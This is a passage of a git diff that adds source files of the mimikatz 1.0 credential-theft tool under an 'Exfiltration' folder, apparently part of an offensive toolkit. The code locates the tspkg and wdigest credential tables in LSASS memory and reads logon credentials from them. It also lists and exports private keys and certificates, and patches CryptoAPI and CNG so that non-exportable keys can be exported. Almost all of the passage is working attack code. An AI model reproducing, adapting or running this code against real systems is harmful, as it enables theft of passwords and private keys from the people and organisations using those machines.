pModTSPKG && !TSGlobalCredTable) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast<PBYTE *>(&TSGlobalCredTable); +#ifdef _M_X64 + pattern = PTRN_WALL_TSGlobalCredTable; + taille = sizeof(PTRN_WALL_TSGlobalCredTable); + offset = OFFS_WALL_TSGlobalCredTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_TSGlobalCredTable; + taille = sizeof(PTRN_WNO8_TSGlobalCredTable); + offset = OFFS_WNO8_TSGlobalCredTable; + } + else + { + pattern = PTRN_WIN8_TSGlobalCredTable; + taille = sizeof(PTRN_WIN8_TSGlobalCredTable); + offset = OFFS_WIN8_TSGlobalCredTable; + } +#endif + + if(HMODULE monModule = LoadLibrary(L"tspkg")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset); + *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModTSPKG && TSGlobalCredTable); +} + +bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchTSPKGFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)]; + if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(monBuffP); + if(pLogSession->pTsPrimary) + { + if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast<PKIWI_TS_PRIMARY_CREDENTIAL>(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (tspkg KO)"; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h new file mode 100644 index 0000000..35a3b15 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h @@ -0,0 +1,37 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_tspkg { + +private: + typedef struct _KIWI_TS_PRIMARY_CREDENTIAL { + PVOID unk0; // lock ? + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_TS_CREDENTIAL { + #ifdef _M_X64 + BYTE unk0[108]; + #elif defined _M_IX86 + BYTE unk0[64]; + #endif + LUID LocallyUniqueIdentifier; + PVOID unk1; + PVOID unk2; + PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary; + } KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL; + + static PRTL_AVL_TABLE TSGlobalCredTable; + static bool searchTSPKGFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG; + static bool getTsPkg(vector<wstring> * arguments); + static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp new file mode 100644 index 0000000..b6e3062 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp @@ -0,0 +1,91 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "wdigest.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL; +mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL; +long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0; + +bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getWDigestLogonData, wstring(L"wdigest"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04}; +#endif + LONG OFFS_WALL_InsertInLogSess = -4; + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast<PBYTE *>(&l_LogSessList); + offset = OFFS_WALL_InsertInLogSess; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_InsertInLogSess; + taille = sizeof(PTRN_WNO8_InsertInLogSess); + } + else if(mod_system::GLOB_Version.dwBuildNumber < 8400) + { + pattern = PTRN_W8CP_InsertInLogSess; + taille = sizeof(PTRN_W8CP_InsertInLogSess); + } + else + { + pattern = PTRN_W8RP_InsertInLogSess; + taille = sizeof(PTRN_W8RP_InsertInLogSess); + } + + if(HMODULE monModule = LoadLibrary(L"wdigest")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false); + *pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + +#ifdef _M_X64 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48); +#elif defined _M_IX86 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32); +#endif + } + return (pModWDIGEST && l_LogSessList); +} + +bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchWDigestEntryList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL); + BYTE * monBuff = new BYTE[taille]; + if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId)) + if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = reinterpret_cast<PKIWI_GENERIC_PRIMARY_CREDENTIAL>(reinterpret_cast<PBYTE>(monBuff) + offsetWDigestPrimary); + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (wdigest KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h new file mode 100644 index 0000000..9db3c8b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_wdigest { + +private: + typedef struct _KIWI_WDIGEST_LIST_ENTRY { + struct _KIWI_WDIGEST_LIST_ENTRY *Flink; + struct _KIWI_WDIGEST_LIST_ENTRY *Blink; + DWORD UsageCount; + struct _KIWI_WDIGEST_LIST_ENTRY *This; + LUID LocallyUniqueIdentifier; + } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY; + + static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList; + static long offsetWDigestPrimary; + static bool searchWDigestEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST; + static bool getWDigest(vector<wstring> * arguments); + static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity); +};
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp new file mode 100644 index 0000000..a869cd8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp @@ -0,0 +1,594 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_crypto.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_crypto::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installs)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins systme")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de cls")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les cls")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de cls pour l\'export de cls non exportable")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de cls non exportable")); + return monVector; +} + +bool mod_mimikatz_crypto::listProviders(vector<wstring> * arguments) +{ + vector<wstring> * monVectorProviders = new vector<wstring>(); + /* CryptoAPI */ + (*outputStream) << L"Providers CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorProviders(monVectorProviders)) + for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorProviders->clear(); + + (*outputStream) << L"Providers CNG :" << endl; + if(mod_cryptong::getVectorProviders(monVectorProviders)) + for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl; + } + delete monVectorProviders; + return true; +} + +bool mod_mimikatz_crypto::listKeys(vector<wstring> * arguments) +{ + listAndOrExportKeys(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportKeys(vector<wstring> * arguments) +{ + listAndOrExportKeys(arguments, true); + return true; +} + +bool mod_mimikatz_crypto::listStores(vector<wstring> * arguments) +{ + wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front()); + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << endl; + vector<wstring> * mesStores = new vector<wstring>(); + if(mod_crypto::getVectorSystemStores(mesStores, systemStore)) + for(vector<wstring>::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++) + (*outputStream) << L'\t' << *monStore << endl; + else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl; + delete mesStores; + } + else (*outputStream) << L" introuvable !" << endl; + return true; +} + +bool mod_mimikatz_crypto::listCertificates(vector<wstring> * arguments) +{ + listAndOrExportCertificates(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportCertificates(vector<wstring> * arguments) +{ + listAndOrExportCertificates(arguments, true); + return true; +} + +void mod_mimikatz_crypto::listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys) +{ + bool isMachine = false; + DWORD providerType = PROV_RSA_FULL; + wstring provider = MS_ENHANCED_PROV; + + switch (arguments->size()) + { + case 1: + isMachine = true; + case 0: + break; + case 3: + isMachine = true; + arguments->erase(arguments->begin()); + case 2: + mod_cryptoapi::getProviderString(arguments->front(), &provider); + mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType); + break; + default : + (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl; + return; + } + + + wstring type = (isMachine ? L"machine" : L"user"); + + vector<wstring> * monVectorKeys = new vector<wstring>(); + + /* CryptoAPI */ + (*outputStream) << L"[" << type << L"] Cls CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector<wstring>::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + HCRYPTPROV hCryptKeyProv = NULL; + if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + HCRYPTKEY maCle = NULL; + for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++) + { + if(CryptGetUserKey(hCryptKeyProv, ks, &maCle)) + { + (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl; + DWORD param = 0, taille = sizeof(param); + if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(¶m), &taille, NULL)) + (*outputStream) << L"\t\tExportabilit : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl; + if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(¶m), &taille, NULL)) + (*outputStream) << L"\t\tTaille cl : " << param << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + wstring containerName = *monContainer; + sanitizeFileName(&containerName); + + monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk"; + + if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport priv dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + } + } + + if(maCle) + CryptDestroyKey(maCle); + else + (*outputStream) << L"\t\t* Erreur de cl ; " << mod_system::getWinError() << endl; + + + CryptReleaseContext(hCryptKeyProv, 0); + } + else (*outputStream) << L"\t\t* Erreur d\'acquisition de la cl ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorKeys->clear(); + + (*outputStream) << L"[" << type << L"] Cls CNG :" << endl; + if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector<wstring>::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + NCRYPT_KEY_HANDLE maCle; + if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine)) + { + bool exportable = false; + DWORD size = 0; + + if(mod_cryptong::isKeyExportable(&maCle, &exportable)) + (*outputStream) << L"\t\tExportabilit : " << (exportable ? L"OUI" : L"NON") << endl; + if(mod_cryptong::getKeySize(&maCle, &size)) + (*outputStream) << L"\t\tTaille cl : " << size << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk"; + + if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str()); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport priv dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + mod_cryptong::NCryptFreeObject(maCle); + } + } + } + else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl; + } + + delete monVectorKeys; +} + + +void mod_mimikatz_crypto::listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert) +{ + wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER"; + wstring monStore = L"My"; + + if(arguments->size() == 1) + { + monEmplacement = arguments->front(); + } + else if(arguments->size() == 2) + { + monEmplacement = arguments->front(); + monStore = arguments->back(); + } + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << L"\\" << monStore << endl; + if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str())) + { + DWORD i; + PCCERT_CONTEXT pCertContext; + for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++) + { + wstring * certName = new wstring(); + bool reussite = false; + + if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName)) + certName->assign(L"[empty]"); + + (*outputStream) << L"\t - " << *certName << endl;; + sanitizeFileName(certName); + + wstringstream monBuff; + monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.'; + + mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo; + if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo)) + { + (*outputStream) << L"\t\tContainer Cl : " << keyProvInfo.pwszContainerName << endl; + (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl; + + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL; + DWORD keySpec = 0; + BOOL aFermer = false; + + if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer)) + { + (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl; + + DWORD size = 0; + bool exportable = false; + + if(keySpec == CERT_NCRYPT_KEY_SPEC) + { + if(mod_cryptong::isNcrypt) + { + reussite = mod_cryptong::getKeySize(&monProv, &size); + reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable); + + if(aFermer) + { + mod_cryptong::NCryptFreeObject(monProv); + } + } + else (*outputStream) << L"\t\t\tErreur : Cl de type nCrypt, sans nCrypt ?" << endl; + } + else + { + DWORD tailleEcrite = 0; + DWORD exportability; + + HCRYPTKEY maCle = NULL; + if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0)) + { + tailleEcrite = sizeof(DWORD); + reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&size), &tailleEcrite, NULL) != 0); + tailleEcrite = sizeof(DWORD); + reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&exportability), &tailleEcrite, NULL) != 0); + exportable = (exportability & CRYPT_EXPORT) != 0; + } + + if(aFermer) + { + CryptReleaseContext(monProv, 0); + } + } + if(reussite) + { + (*outputStream) << L"\t\tExportabilit : " << (exportable ? L"OUI" : L"NON") << endl; + (*outputStream) << L"\t\tTaille cl : " << size << endl; + } + + if(exportCert) + { + wstring PFXFile = monBuff.str(); + PFXFile.append(L"pfx"); + + reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz"); + + (*outputStream) << L"\t\tExport priv dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + } + else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl; + } + + if(exportCert) + { + wstring DERFile = monBuff.str(); + DERFile.append(L"der"); + + reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile); + + (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + delete certName; + } + CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG); + } + else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L" introuvable !" << endl; +} + + +bool mod_mimikatz_crypto::patchcapi(vector<wstring> * arguments) +{ + wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll"; + char FUNCNAM_WALL_EXPORT[] = "CPExportKey"; +#ifdef _M_X64 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5; + + BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82}; + BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_W6AL_CPExportKey_EXPORT = 5; + LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2; +#elif defined _M_IX86 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7; + + BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_WI60_CPExportKey_EXPORT = 3; + LONG OFFS_WIN6_CPExportKey_EXPORT = 5; +#endif + + PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0; + PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001); + pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000); + patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT; + offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT; + } + else + { +#ifdef _M_X64 + pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001); + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT; + } + else + { + pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000); + offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT; + } +#elif defined _M_IX86 + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001); + pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT; + } + else + { + pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001); + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT; + } +#endif + } + + if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA)) + { + if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, 